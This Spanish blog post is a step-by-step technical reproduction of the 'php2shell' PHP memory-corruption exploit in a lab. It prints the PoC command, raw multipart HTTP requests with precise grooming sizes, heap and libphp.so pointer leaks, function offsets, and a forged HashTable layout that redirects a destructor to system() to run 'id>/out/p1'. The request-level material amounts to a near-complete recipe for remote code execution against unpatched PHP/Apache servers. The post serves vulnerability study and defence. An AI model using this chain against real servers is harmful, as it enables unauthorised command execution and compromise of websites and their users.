PHP2shell al descubierto: análisis técnico de la explotación y ejecución de comandos

PHP2shell es una vulnerabilidad que está en boca de todos. Cuando la ves mencionar en los telediarios está claro que se trata una de las más mediáticas del año y no es para menos...

La raíz del problema viene de mucho más atrás, de una familia de bugs que PHP arrastra desde hace años alrededor de memory_limit, bailouts y estados internos que sobreviven más de lo que deberían. Ya en 2004 Stefan Esser había documentado una vulnerabilidad remota relacionada con errores de memoria en PHP, y en 2020 apareció el bug #78876, donde un simple out-of-memory podía dejar recursos sin limpiar correctamente. En 2024, una auditoría de OSTIF y Quarkslab volvió a tropezar con el mismo tipo de comportamiento, aunque todavía sin llegar a una explotacion completa.

La pieza que faltaba llegó en 2026. Durante una nueva ronda de investigación sobre el runtime de PHP, Calif, OpenAI y Wiz encontraron que algunos errores fatales no solo provocaban crashes, sino que dejaban estructuras internas en un estado intermedio. En otras palabras: PHP podía liberar memoria y, aun así, conservar punteros hacia esos bloques como si siguieran siendo válidos. Esa diferencia entre "memoria liberada" y "estado que aún cree que sigue vivo" es justo la grieta que convierte un OOM (Out Of Memory) aparentemente inofensivo en una primitiva real de explotación.

Lo interesante de php2shell es que el exploit no depende de una función peligrosa de la aplicación ni de un bug en WordPress, Joomla o Magento. El problema está en el propio motor de PHP, antes incluso de que el script del usuario llegue a ejecutarse. La cadena se construye manipulando como PHP parsea requests multipart, como actualiza session.upload_progress, como limpia el request heap y como reutiliza esa memoria en el siguiente request. Esa secuencia permite pasar de un simple crash a un leak de heap, despues a un leak de libphp.so, y finalmente a redirigir un destructor interno hacia zif_system() para ejecutar comandos.

Tras la publicación de los CVE y de los parches oficiales de PHP, empezaron a aparecer distintas PoCs para estudiar la vulnerabilidad en entornos controlados. Uno de los más completos IMHO es el repositorio de Enes Sonmez, eness/php2shell-CVE-2026-109618-CVE-2026-109619-PoC, que no descubre la vulnerabilidad, pero sí convierte toda esa investigación en una cadena reproducible: perfiles de offsets, exploit automatizado, mitigaciones, parches y una demo funcional capaz de llegar hasta RCE real. Ese repo es especialmente interesante porque traduce una investigación de memoria bastante abstracta en algo que se puede observar request a request, leak a leak y crash a crash.

Este post parte precisamente de ese punto: no de la teoría general del bug, sino de la preproducción práctica de la cadena completa. Veremos cómo se fuerza el bailout, como se deja PS(id) en estado stale, como se resuelve ASLR con leaks reales y como un fake HashTable termina convirtiéndose en una llamada a system().

Modelo mental de la primitive

La explotación gira alrededor de un detalle de session startup: tras ciertas combinaciones de PHPSESSID, upload progress, warning por max_input_vars y OOM, algunos globals de session sobreviven al bailout con punteros que ya no deberían seguir activos.

La secuencia básica es:

multipart grooming
  -> warning de startup
  -> send_cookie queda activo
  -> OOM antes del cleanup completo
  -> PS(id) o PS(http_session_vars) quedan stale
  -> request B reclama la misma zona

Eso sí, antes de ejecutar el PoC conviene fijar algunos conceptos.

Zend MM

Zend MM es el allocator interno de PHP. Durante un request aloja:

request_info
$_POST HashTable
$_FILES HashTable
progress.data
progress.files
script zvals
temp buffers

En un flujo normal, RSHUTDOWN limpia los punteros globales antes de liberar el heap del request. En el flujo vulnerable ocurre:

multipart parser
-> session upload progress
-> warning de startup
-> OOM
-> zend_bailout()
-> shutdown incompleto
-> puntero global stale

OOM, bailout, UAF y grooming

  • OOM: el request supera memory_limit.
  • bailout: PHP aborta el flujo normal con un salto "abrupto".
  • stale pointer: un global sigue apuntando a memoria que ya no debería usar.
  • UAF (Use-after-free) el request siguiente reutiliza esa memoria liberada.
  • grooming: el atacante fuerza tamaños y orden de allocations para reclamar

exactamente el hueco que necesita.

Offsets y ASLR

ASLR randomiza bases, pero no cambia offsets internos del mismo build:

direccion_runtime = base_randomizada + offset_conocido

Por eso el exploit necesita:

  • una fuga/leak para chunk_base;
  • una fuga para libphp_base;
  • offsets exactos de zif_system, zval_ptr_dtor y HTDATA.

Entorno reproducido

En este lab el worker model es prefork con un unico child. Eso permite que cada request A/B opere sobre un heap muy estable. Cuando B provoca corrupción del heap, Apache reemplaza el child y la siguiente fase empieza sobre un worker limpio, pero el atacante conserva las bases que ya ha calculado.

ElementoValor
Imagenphp:8.4.26-apache-bookworm
Apache2.4.68 (Debian)
PHP8.4.26
SAPIapache2handler
Worker modelprefork, MaxRequestWorkers 1
display_errorsOn
memory_limit8M
max_input_vars1000
session.use_cookies1
session.use_strict_mode0
session.upload_progress.enabledOn
zif_system offset0x45a3b0
zval_ptr_dtor offset0x64eb60
HTDATA offset0x690d8

Esto es muy importante porque el repo de Eness está construido sobre un entorno muy concreto porque esta vulnerabilidad no es un bug lógico sencillo, sino una cadena de corrupción de memoria que depende muchísimo de cómo se organiza el heap en tiempo de ejecución.

La vulnerabilidad existe en el core de PHP, pero para explotarla de forma fiable no basta con saber que hay un use-after-free. Hay que conseguir que una request deje un puntero stale y que la siguiente request vuelva a ocupar exactamente el mismo hueco con la estructura adecuada. Eso depende de detalles muy pequeños: el tamaño de los campos multipart, el tipo de SAPI, el modelo de workers, la versión exacta de PHP, la distro, el compilador, los offsets de libphp.so, el memory_limit, max_input_vars, e incluso de si las requests caen en el mismo proceso Apache.

Por eso el repo fija un entorno tan específico: php:8.4.26-apache-bookworm, Apache prefork, un solo worker, memory_limit=8M, session.upload_progress.enabled=On, display_errors=On, etc. No porque esas condiciones sean la causa de la vulnerabilidad, sino porque convierten el comportamiento del heap en algo repetible. Con un único worker, las peticiones A/B siempre caen en el mismo proceso y el exploit puede asumir que la memoria liberada por la request A será reutilizada por la request B. Si hubiera varios workers, la segunda request podría acabar en otro proceso con un heap completamente distinto y toda la coreografía se rompería.

Lo mismo ocurre con los offsets. El exploit necesita saber dónde están zval_ptr_dtor, zif_system o HTDATA dentro del binario concreto de libphp.so. Esos offsets cambian entre versiones, distribuciones y builds. El repo de Eness no intenta ser un exploit universal que funcione contra cualquier PHP arbitrario, sino un laboratorio estable donde puedas ver la cadena completa de principio a fin: OOM, stale pointer, heap leak, libphp leak, resolución de ASLR y RCE.

En ese sentido, el entorno tan cerrado no es una limitación accidental, sino una decisión de diseño. El objetivo del repo es reducir la incertidumbre hasta que el exploit sea casi determinista y cada paso pueda observarse, medirse y documentarse. En un entorno real, esa misma cadena seguiría siendo posible, pero exigiría recalibrar grooming, offsets, retries, worker affinity y detalles del heap para adaptarse a la infraestructura concreta.

Preparando el terreno

Lo primero que haremos es buscar algunos símbolos que son piezas clave de la cadena de explotación. Concretamente:

  • zval_ptr_dtor que es un destructor interno de Zend que aparece como puntero dentro de estructuras HashTable; al filtrarlo desde memoria, el exploit puede calcular la base real de libphp.so bajo ASLR.
  • zif_system, en cambio, es la implementación interna de la función PHP system(), y se usa como objetivo final del hijack del destructor.

Una vez conocida la base de libphp.so, basta sumar el offset de zif_system para obtener su dirección exacta en memoria y colocarla en el campo pDestructor del fake HashTable. Por eso el script necesita localizar ambos símbolos dentro del binario exacto que se está ejecutando. s offsets se obtuvieron con:

./offsets.sh php2shell-target /tmp/php2shell-offsets.env

En este lab, el script devolvió:

zif_system 0x45a3b0 zval_ptr_dtor 0x64eb60

Y escribió en /tmp/php2shell-offsets.env:

ZIF_OFFSET=0x45a3b0 DTOR_OFFSET=0x64eb60

Ahora llamaremos al script en python y analizaremos en detalle la cadena de ataque:

python3 ../poc_109618.py \
  -u http://127.0.0.1:8088/index.php \
  --profile bookworm \
  --offsets-file /tmp/php2shell-offsets.env \
  --proof-file out/p1 \
  --proxy http://127.0.0.1:8080 \
  --dump-dir raw \
  --retries 3

Salida esperada:

[+] chunk base = 0x7b5b16c00000
[+] libphp base = 0x7b5b16f04000
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

En este host hubo que ampliar el filtro de punteros del PoC porque ASLR coloco heap y libphp en 0x7b... en lugar de 0x7f...:

0x700000000000 <= ptr < 0x800000000000

Sin ese cambio el leak existía en HTTP, pero el parser lo descartaba.

Paso a paso técnico

Antes de entrar en la cadena completa conviene entender que el exploit no se basa en una única request, sino en parejas de requests con roles distintos.

  • La request A actúa como producer: prepara el heap, fuerza el OOM y deja un puntero stale.
  • La request B actúa como consumer: llega justo después, reclama la memoria liberada y la reutiliza para provocar un leak o ejecutar la siguiente fase.

Ese patrón se repite varias veces a lo largo de la explotación. Primero se usa para estabilizar el worker, después para filtrar la base del heap, luego para filtrar la base de libphp.so y finalmente para construir el fake HashTable que desemboca en RCE.

Stage 0: rotación inicial del worker

Request 001 A-OOM (rotación)

POST http://127.0.0.1:8088/index.php HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS
Content-Length: 15657436

--SSSSSSSSSSSSSSSSS
Content-Disposition: form-data; name="f0000"

VVVV... (3000 B)
...
--SSSSSSSSSSSSSSSSS
Content-Disposition: form-data; name="PHPSESSID"

\x00
--SSSSSSSSSSSSSSSSS
Content-Disposition: form-data; name="big"

BBBB... (12 MiB)

La petición contiene

  • 1001 campos f0000..f1000 de 3000 bytes
  • PHPSESSID = \x00
  • PHP_SESSION_UPLOAD_PROGRESS = pwn
  • f = a.txt
  • big = 12 MiB

La respuesta demuestra las tres condiciones clave:

HTTP/1.1 200 OK
Content-Length: 476
Connection: close

Warning: PHP Request Startup: Input variables exceeded 1000...
Warning: PHP Request Startup: Session cookie cannot be sent after headers have already been sent...
Fatal error: Allowed memory size of 8388608 bytes exhausted...

El efecto es:

PS(id) -> stale
send_cookie = 1
worker W0 queda corrupto

Esta primera request no intenta filtrar memoria todavía. Su función es dejar al worker en un estado intermedio y reproducible. Los 1001 campos fuerzan el warning de max_input_vars, PHP_SESSION_UPLOAD_PROGRESS hace que el callback RFC1867 toque estructuras de sesión antes de ejecutar el script, y el campo big agota el memory_limit. El OOM provoca zend_bailout() antes de que el shutdown normal pueda limpiar todos los globals.

Recordad que PS(id) es una macro interna de PHP que apunta al identificador de sesión actual, es decir, al valor de PHPSESSID.

El detalle importante es que PS(id) sigue apuntando al zend_string del SID, pero ese bloque ya no debe considerarse valido. Al mismo tiempo, send_cookie=1 indica que PHP todavía cree que debe serializar ese SID en un Set-Cookie. Esa combinación es la primitive base: un puntero global stale que el siguiente request puede volver a consumir.

Request 002 B-abort (rotación)

PHPSESSID = attacksessionid0001
PHP_SESSION_UPLOAD_PROGRESS = pwn

Como veis la petición envía sólo:

  • PHPSESSID = attacksessionid0001
  • PHP_SESSION_UPLOAD_PROGRESS = pwn

El worker intenta limpiar el estado stale y aborta:

<empty response>

Apache error.log:
zend_mm_heap corrupted
AH00052: child pid <pid> exit signal Abort (6)

Apache crea un worker nuevo W1.

La segunda request es deliberadamente pequeña porque no necesita volver a groomar el heap. Solo necesita entrar de nuevo en la ruta de inicialización de sesión para que PHP toque el estado stale dejado por 001. Cuando Zend MM intenta recorrer o liberar esa memoria incoherente, detecta corrupción y aborta el child.

Ese crash es útil para el atacante: Apache prefork reemplaza el child por un worker limpio, de modo que la siguiente fase empieza con un heap estable. Las parejas 005/006 y 009/010 repiten exactamente esta técnica de rotación entre fases.

Stage 1: leak del chunk Zend MM

Request 003 A-prime (leak heap)

003-post.request.raw cambia el grooming:

POST http://127.0.0.1:8088/index.php HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS
Content-Length: 12655437

--SSSSSSSSSSSSSSSSS
Content-Disposition: form-data; name="p0000"

x
...
--SSSSSSSSSSSSSSSSS
Content-Disposition: form-data; name="PHPSESSID"

\x00
...
--SSSSSSSSSSSSSSSSS
Content-Disposition: form-data; name="big"

BBBB... (12 MiB)

Aquí se cambia el grooming:

  • 1001 campos p0000..p1000 de 1 byte
  • PHPSESSID = \x00
  • PHP_SESSION_UPLOAD_PROGRESS = pwn
  • f = a.txt
  • big = 12 MiB

Objetivo:

  • dejar PS(id) stale en un bin que el consumer pueda reclamar

Vemos la respuesta:

HTTP/1.1 200 OK
Content-Length: 476

Warning: PHP Request Startup: Input variables exceeded 1000...
Warning: PHP Request Startup: Session cookie cannot be sent after headers have already been sent...
Fatal error: Allowed memory size of 8388608 bytes exhausted...

Aquí cambia el objetivo del grooming. Ya no se busca simplemente corromper el worker, sino colocar el zend_string del SID en una clase de tamaño concreta. Los 1001 valores de 1 byte alteran la distribución de allocations para que, tras el bailout, el hueco donde estaba PS(id) quede disponible en el bin que el consumer 004 sabe reclamar.

La request 003 actua como producer: prepara el agujero exacto, pero todavía no produce ningún leak visible por HTTP.

Es decir A deja:

  • PS(id) -> dangling zend_string de 32 B
  • send_cookie = 1
  • PS(http_session_vars) = UNDEF

El siguiente request puede reocupar ese bloque.

Request 004 - B-leak (leak heap)

Con esta petición ya se reclama el hueco con:

  • 841 campos numericos 1000..1840 de 48 bytes
  • 1 campo 1999 de 79 bytes
POST http://127.0.0.1:8088/index.php HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: multipart/form-data; boundary=BBBBBBBBBB
Content-Length: 93685

--BBBBBBBBBB
Content-Disposition: form-data; name="1000"

v0000xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
...
--BBBBBBBBBB
Content-Disposition: form-data; name="1999"

AAAAAAAAAAAAAAAA\x00\x10\x00\x00\x00\x00\x00\x00LAAAA...

Y respuesta:

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%98%1A%AB%93%D5%F3%2Cp%A0p%CA%16%5B%7B...
Content-Length: 560

Warning: PHP Request Startup: Session ID is too long or contains illegal characters...
Warning: PHP Request Startup: Failed to read session data...
OK

El campo 1999 forja un zend_string:

OffsetValorUso
+0x100x1000fuerza len = 4096
+0x180x4cprimer byte visible "L"

PHP serializa ese string falso dentro de Set-Cookie:

Set-Cookie: PHPSESSID=LAAAA...%98%1A%AB...

Después de decodificar:

decoded bytes      = 4096
candidate pointers = 98

Uno de los punteros filtrados fue:

0x7b5b16ca70a0

Como los chunks Zend MM estan alineados a 2 MiB:

chunk_base = 0x7b5b16ca70a0 & ~0x1fffff
chunk_base = 0x7b5b16c00000

Como veis la request 004 es el consumer. Los 841 campos de 48 bytes rellenan la misma clase de tamano hasta que el campo 1999 cae exactamente encima del antiguo zend_string de PS(id). A partir de ese momento, PHP interpreta bytes controlados por el atacante como si fueran la cabecera legitima de un zend_string.

El campo len en +0x10 se fuerza a 0x1000, así que cuando PHP intenta serializar el SID en Set-Cookie, no copia solo el contenido real del string: lee 4096 bytes del heap adyacente. El byte "L" en +0x18 sirve como marcador visual para saber que la falsificación ha aterrizado correctamente.

La cookie resultante contiene punteros reales del heap. Como Zend MM asigna chunks alineados a 2 MiB, basta con borrar los 21 bits bajos de cualquier puntero filtrado para recuperar la base del chunk. Que 98 candidatos diferentes colapsen a la misma base da confianza de que el leak es correcto.

Requests `005 y 006 de rotación

Las requests 005 y 006 repiten exactamente el mismo patrón de rotación que 001 y 002.

005 A...

POST http://127.0.0.1:8088/index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS
Content-Length: 15657436

1001 x fNNNN = 3000 B
PHPSESSID = \x00
PHP_SESSION_UPLOAD_PROGRESS = pwn
f = a.txt
big = 12 MiB
HTTP/1.1 200 OK

Warning: Input variables exceeded 1000...
Warning: Session cookie cannot be sent...
Fatal error: Allowed memory size exhausted...

006 B...

POST http://127.0.0.1:8088/index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=BNDRY12345
Content-Length: 192

PHPSESSID = attacksessionid0001
PHP_SESSION_UPLOAD_PROGRESS = pwn
<empty response>

Apache error.log:
zend_mm_heap corrupted
AH00052: child pid <pid> exit signal Abort (6)

La 005 vuelve a forzar el warning de max_input_vars, activa session.upload_progress y provoca un OOM para dejar el worker en un estado inconsistente, mientras que la 006 entra después para tocar ese estado stale y provocar el aborto del child.

El objetivo no es obtener ningún leak nuevo, sino descartar el worker usado en la fase anterior y forzar que Apache cree uno limpio antes de comenzar el stage 2. De ese modo, el exploit conserva un layout de heap predecible entre fases y evita que residuos del leak anterior alteren la coreografía de allocations necesaria para la siguiente etapa.

Stage 2: leak de libphp.so

Request 007 A -prime (Leak libphp)

POST http://127.0.0.1:8088/index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS
Content-Length: 12693475

1001 x fNNNN = 39 B
PHPSESSID = \x00
PHP_SESSION_UPLOAD_PROGRESS = pwn
f = a.txt
big = 12 MiB
HTTP/1.1 200 OK

Warning: Input variables exceeded 1000...
Warning: Session cookie cannot be sent...
Fatal error: Allowed memory size exhausted...

Esta petición usa 1001 valores de 39 bytes para caer en el bin que interesa al HashTable.

El segundo leak necesita otra clase de objeto. En vez de volver a trabajar con un zend_string, esta fase busca que el puntero stale termine observando un HashTable vivo, porque ese objeto contiene un puntero de función útil: pDestructor.

Los valores de 39 bytes cambian el bin objetivo y la geometría del heap. La request 007 vuelve a ser un producer: deja el estado stale listo para que el consumer coloque en ese mismo hueco una pagina de HashTable.

Request 008 B-dtor (leak libphp)

En esta petición se envia: 983 arrays a0000..a0982 16 elementos especiales en a0406[0]..a0406[15]

POST http://127.0.0.1:8088/index.php HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: multipart/form-data; boundary=BBBBBBBBBB
Content-Length: 83032

--BBBBBBBBBB
Content-Disposition: form-data; name="a0406[0]"

xxxxxxxxxxxxxxxx
...
--BBBBBBBBBB
Content-Disposition: form-data; name="a0406[15]"

xxxxxxxxxxxxxxxx

La response contiene solo 16 bytes de cookie:

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=%10%00%00%00%00%00%00%00%60%2BU%17%5B%7B%00%00; path=/
Content-Length: 560

Warning: PHP Request Startup: Session ID is too long or contains illegal characters...
OK
Set-Cookie: PHPSESSID=%10%00%00%00%00%00%00%00%60%2B%55%17%5B%7B%00%00

Al decodificar:

qword[0] = 0x10
qword[1] = 0x7b5b17552b60

Ese segundo qword es zval_ptr_dtor.

Restando el offset del build:

libphp_base = 0x7b5b17552b60 - 0x64eb60
libphp_base = 0x7b5b16f04000

Los 983 arrays crean muchas estructuras HashTable con forma repetible. El array especial a0406 actúa como punto de ajuste fino: sus 16 elementos hacen que la pagina adecuada aterrice justo en la zona que luego se serializa como SID.

Esta vez el leak es pequeño porque no interesa leer todo el heap, sino solo dos qwords significativos. El segundo qword corresponde al destructor real del HashTable, zval_ptr_dtor, que vive dentro de libphp.so.

Ese puntero de función rompe ASLR para el módulo de código: como el offset de zval_ptr_dtor es conocido para el build exacto, restarlo permite reconstruir la base real de libphp.so.

Resolver ASLR

Con las dos leaks ya se puede calcular todo:

chunk_base = 0x7b5b16c00000
libphp_base = 0x7b5b16f04000

Derivaciones:

HTDATA     = chunk_base  + 0x690d8  = 0x7b5b16c690d8
R0         = chunk_base  + 0x24e0   = 0x7b5b16c024e0
zif_system = libphp_base + 0x45a3b0 = 0x7b5b1735e3b0

ASLR sigue activo. La diferencia es que ya no se adivinan direcciones: se calculan a partir de leaks reales.

Las dos bases cumplen funciones distintas:

  • chunk_base permite colocar y localizar objetos falsos dentro del heap.
  • libphp_base permite resolver funciones ejecutables dentro de libphp.so.

En el lab, los workers nuevos conservan una disposicion compatible porque Apache prefork hereda la misma imagen de proceso y el grooming reproduce la misma coreografia. Por eso las bases calculadas en stages anteriores siguen siendo utiles cuando se llega al worker final.

Requests 009 y 010 de rotación

Las requests 009 y 010 vuelven a repetir la misma mecánica de rotación, esta vez justo antes de la fase final de explotación. La 009 fuerza de nuevo el warning de startup, activa session.upload_progress y provoca un OOM para dejar el worker en un estado corrupto. La 010 consume ese estado stale y provoca el aborto del child, haciendo que Apache cree un nuevo worker limpio W3. El objetivo es que la fase final, donde se construye el fake HashTable y se redirige pDestructor hacia zif_system, empiece sobre un heap completamente predecible, sin residuos de las etapas de leak anteriores.

009 A...

POST http://127.0.0.1:8088/index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS
Content-Length: 15657436

1001 x fNNNN = 3000 B
PHPSESSID = \x00
PHP_SESSION_UPLOAD_PROGRESS = pwn
f = a.txt
big = 12 MiB
HTTP/1.1 200 OK

Warning: Input variables exceeded 1000...
Warning: Session cookie cannot be sent...
Fatal error: Allowed memory size exhausted...

Se preservan los datos calculados: chunk_base = 0x7b5b16c00000 libphp_base = 0x7b5b16f04000

010 B...
```text
POST http://127.0.0.1:8088/index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=BNDRY12345
Content-Length: 192

PHPSESSID = attacksessionid0001
PHP_SESSION_UPLOAD_PROGRESS = pwn
<empty response>

Apache error.log:
zend_mm_heap corrupted
AH00052: child pid <pid> exit signal Abort (6)

HTDATA = chunk + 0x690d8

   = 0x7b5b16c690d8

ZIF = libphp + 0x45a3b0

= 0x7b5b1735e3b0

Stage 3: fake HashTable y RCE

Request 011 A-stale ref (RCE)

Esta petición deja la referencia ya colgando:

POST http://127.0.0.1:8088/index.php HTTP/1.1
Host: 127.0.0.1:8088
Cookie: PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS
Content-Length: 12584151

PHPSESSID = aaaaaaaaaaaaaaaaaaa
PHP_SESSION_UPLOAD_PROGRESS = ppp
6 x pad = 31 B
f = a.txt
big = 12 MiB

La cabecera Cookie evita que el consumer genere otro Set-Cookie y pise la estructura falsa.

Tras el OOM:

PS(http_session_vars) -> R0
R0 = 0x7b5b16c024e0

En la fase final cambia el objetivo: ya no interesa filtrar memoria, sino conseguir que PS(http_session_vars) apunte a una referencia falsa. Ese global es mas potente que PS(id) porque PHP lo trata como el contenedor real de las variables de sesión y lo destruirá durante el shutdown.

La cabecera Cookie valida mantiene send_cookie=0. Eso evita que el consumer genere un nuevo header Set-Cookie y escriba encima de la zona donde el exploit necesita conservar el tipo y el puntero de la referencia falsa.

El resultado de 011 es que PS(http_session_vars) queda apuntando a R0, una dirección ya calculada dentro del chunk controlado.

Cookie valido de 32 chars: send_cookie = 0

PS(http_session_vars) queda apuntando a R0: R0 = chunk + 0x24e0

Request 012 B-execute (RCE)

El siguiente request puede sobreescribir val.value.

  1. 1.f00 = 15 bytes
  2. 2.f01 = 15 bytes
  3. 3.g00 = carrier de 15 bytes
  4. 4.15 copias de un fake HashTable de 167 bytes
POST http://127.0.0.1:8088/index.php HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: multipart/form-data; boundary=BBBBBBBBBB
Content-Length: 4278

f00 = FFFFFFFFFFFFFFF
f01 = FFFFFFFFFFFFFFF
g00 = 010000001a000000d890c6165b7b00
a000...a014 = fake HashTable (167 B)

Campos clave del fake HashTable:

OffsetCampoValor
+0x00gcrc=1, IS_ARRAY
+0x10arDataHTDATA + 0x20
+0x30pDestructorzif_system
+0x80fake zend_stringargumento
+0x98commandid>/out/p1

Cadena final:

zval_ptr_dtor(PS(http_session_vars))
  -> zend_array_destroy(fake_hash_table)
  -> pDestructor(...)
  -> zif_system("id>/out/p1")

La request 012 ya no necesita OOM ni leaks. Solo necesita reclamar R0 y la zona HTDATA con bytes que parezcan objetos PHP validos. El carrier g00 reescribe la referencia para que su val.value apunte a HTDATA, y las 15 copias del fake HashTable aumentan la probabilidad de que la estructura correcta aterrice en el slot esperado.

El fake HashTable no tiene que ser perfecto; solo necesita ser suficientemente coherente para atravesar el camino de destruccion:

  • gc y IS_ARRAY hacen que PHP lo trate como array.
  • arData apunta a una zona controlada.
  • pDestructor se sustituye por la direccion runtime de zif_system.
  • el zend_string falso contiene id>/out/p1 como argumento.

Cuando PHP libera las variables de sesion, cree que esta destruyendo un array legitimo. En realidad acaba llamando a zif_system con el string controlado. El worker puede caer justo despues, pero el side effect ya ha ocurrido y queda demostrado en out/p1.

<empty response>

Side effect:
out/p1 -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

Apache error.log:
AH00052: child pid <pid> exit signal Segmentation fault (11)

Conclusiones

php2shell demuestra que incluso un bug aparentemente “solo” de OOM puede convertirse en una cadena completa de RCE cuando se combina con estados stale, heap grooming y leaks fiables. La vulnerabilidad no depende de una función peligrosa de la aplicación, sino del propio runtime de PHP y de cómo el motor gestiona memoria, sesiones y cleanup entre requests. El punto realmente importante no es la llamada final a system(), sino la posibilidad de transformar un estado parcial de memoria en una primitive estable de lectura y escritura.

En el caso concreto de este lab, la explotación es muy dependiente del entorno. El PoC está calibrado para una combinación muy concreta: php:8.4.26-apache-bookworm, Apache prefork, un solo worker, offsets concretos de libphp.so, determinados tamaños de allocations y un layout de heap muy controlado. Eso permite que la cadena sea reproducible y didáctica, pero no significa que el mismo exploit pueda lanzarse sin cambios contra cualquier instalación PHP del mundo real.

Lo más probable es que no aparezca un “exploit universal” que funcione de forma fiable contra cualquier servidor PHP vulnerable. En su lugar, es más realista esperar PoCs y exploits adaptados a entornos concretos: una versión de PHP específica, una distro concreta, un SAPI determinado, un modelo de workers concreto y offsets propios de ese build. Es decir, más que un único exploit genérico, probablemente veremos familias de exploits especializados para diferentes configuraciones, cada uno con su propio grooming, offsets y lógica de retry.

Comentarios